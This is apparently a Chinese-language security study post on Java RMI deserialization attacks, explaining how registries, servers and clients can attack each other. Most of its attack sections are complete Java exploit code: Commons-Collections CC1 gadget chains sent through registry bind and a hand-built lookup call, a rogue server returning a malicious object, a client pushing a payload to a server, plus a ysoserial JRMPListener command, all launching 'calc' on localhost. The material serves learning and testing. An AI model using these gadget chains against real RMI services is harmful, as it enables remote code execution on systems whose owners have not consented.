RMI
概述
RMI(Remote Method Invocation)是计算机之间通过网络实现对象调用的一种通讯机制。它允许在Java虚拟机(JVM)之间进行通信,使得在一个JVM中的对象可以调用另一个JVM中的对象的方法,就像这些对象都在同一个JVM中一样。
服务端(Server):
- 服务端创建一个远程对象,并实现一个或多个远程接口。
- 服务端启动 RMI 注册表,并将远程对象绑定到注册表中。
客户端(Client):
- 客户端从 RMI 注册表中查找所需的远程对象。
- 客户端获取远程对象的引用,并调用其方法。
测试环境:JDK8u41
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject;
public class RMIServer { public interface IRemoteObj extends Remote { public String hello(String para) throws RemoteException; } public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj { protected RemoteObjImpl() throws RemoteException { super(); } public String hello(String para) throws RemoteException { System.out.println(para); return "over"; } } private void start() throws Exception { RemoteObjImpl h = new RemoteObjImpl(); LocateRegistry.createRegistry(1099); Naming.rebind("rmi://127.0.0.1:1099/Remote", h);
}
public static void main(String[] args) throws Exception { new RMIServer().start(); } }
|
RMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.rmi.Naming; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws Exception { RMIServer.IRemoteObj h = (RMIServer.IRemoteObj) Naming.lookup("rmi://127.0.0.1:1099/Remote"); System.out.println(h.hello("hello world"));
} }
|
攻击注册中心
与注册中心进行交互方法:list、bind、rebind、unbind、lookup
1
| Naming.bind("rmi://127.0.0.1:1099/Remote", new RemoteObjImpl());
|
这几种方法位于RegistryImpl_Skel#dispatch
中,如果存在对传入的对象调用readObject()
方法,则可以利用dispatch
里面对应如下:
- 0 —– bind
- 1 —– list
- 2 —– lookup
- 3 —– rebind
- 4 —– unbind
list
只有writeObject()
,没有readObject()
1 2 3 4 5 6 7 8
| import java.rmi.Naming;
public class RegistryListAttack { public static void main(String[] args) throws Exception{ String[] s = Naming.list("rmi://127.0.0.1:1099"); System.out.println(s); } }
|

bind 或 rebind
Server 端在执行 bind 或者 rebind 方法的时候会将对象以序列化的形式传输给 Registry,导致 Registry 反序列化被 RCE
CC依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
CC1_TransformedMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class AttackRegistryEXP { public static Object CC1_TransformedMap() throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","abc"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
return o; } public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler invocationHandler = (InvocationHandler) CC1_TransformedMap(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] {Remote.class}, invocationHandler)); registry.bind("test",remote); } }
|

lookup 或 unbind
lookup 方法接收一个 String 类型的参数,无法直接利用,需要手动模拟 RegistryImpl_Stub#lookup 方法传递过程

lookup 学习 lookupEXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| import com.sun.corba.se.spi.orb.Operation; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map;
public class AttackRegistryEXP02 { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler invocationHandler = (InvocationHandler) CC1_TransformedMap(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, invocationHandler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, (java.rmi.server.Operation[]) operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); } public static Object CC1_TransformedMap() throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","abc"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
return o; } }
|
攻击客户端
注册中心攻击客户端
unbind
和rebind
返回数据给客户端的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击
1
| java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
|
客户端
1 2 3 4 5 6 7 8 9 10 11
| import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Client { public static void main(String[] args) throws RemoteException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); registry.list(); } }
|
服务端攻击客户端
服务端返回Object对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:
User接口,返回的是Object对象
1 2 3 4
| public interface User extends java.rmi.Remote { public Object getUser() throws Exception; }
|
服务端实现 User 接口,返回 CC1 的恶意 Object 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map;
public class ServerReturnObject extends UnicastRemoteObject implements User { public String name; public int age;
public ServerReturnObject(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; }
public Object getUser() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); return o; } }
|
服务端将恶意对象绑定到注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class EvilClassServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { User liming = new ServerReturnObject("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); } }
|
客户端获取对象并调用 getUser()
方法,将反序列化服务端传来的恶意远程对象
1 2 3 4 5 6 7 8 9 10 11
| import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class EvilClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.getUser(); } }
|

加载远程对象
这个就是 P神 写的那个,codebase 这种。这个可用性还是不咋样,我个人觉得本身这个注册中心,或者是服务端打出来,就没啥意义;再加上利用条件苛刻,就更没劲了。
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。
java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://
、ftp://
、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebase
URL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebase
URL去加载对应的类。客户端与服务端两边的java.rmi.server.codebase
URL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:
- 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置
java.security.policy
,这在后面的利用中可以看到。
- 属性
java.rmi.server.useCodebaseOnly
的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly
的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
总的来说利用条件十分苛刻,可用性不强。
攻击服务端
客户端打服务端
- jdk版本1.7
- 使用具有漏洞的Commons-Collections3.1组件
- RMI提供的数据有Object类型(攻击payload就是Object类型)
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject;
public class VictimServer { public interface RemoteObj extends Remote { public void evil(Object obj);
} public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj { protected RemoteHelloWorld() throws RemoteException { super(); }
@Override public void evil(Object obj) { System.out.println("调用了evil方法,传递对象为:" + obj); } } private void start() throws Exception { RemoteHelloWorld h = new RemoteHelloWorld(); LocateRegistry.createRegistry(1099); Naming.rebind("rmi://127.0.0.1:1099/Hello", h); }
public static void main(String[] args) throws Exception { new VictimServer().start(); } }
|
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map;
public class RMIClient { public static void main(String[] args) throws Exception { VictimServer.RemoteObj r = (VictimServer.RemoteObj) Naming.lookup("rmi://127.0.0.1:1099/Hello"); r.evil(getpayload()); }
public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; }
}
|
远程加载对象
和上边Server打Client一样利用条件非常苛刻
参考:https://paper.seebug.org/1091/#serverrmi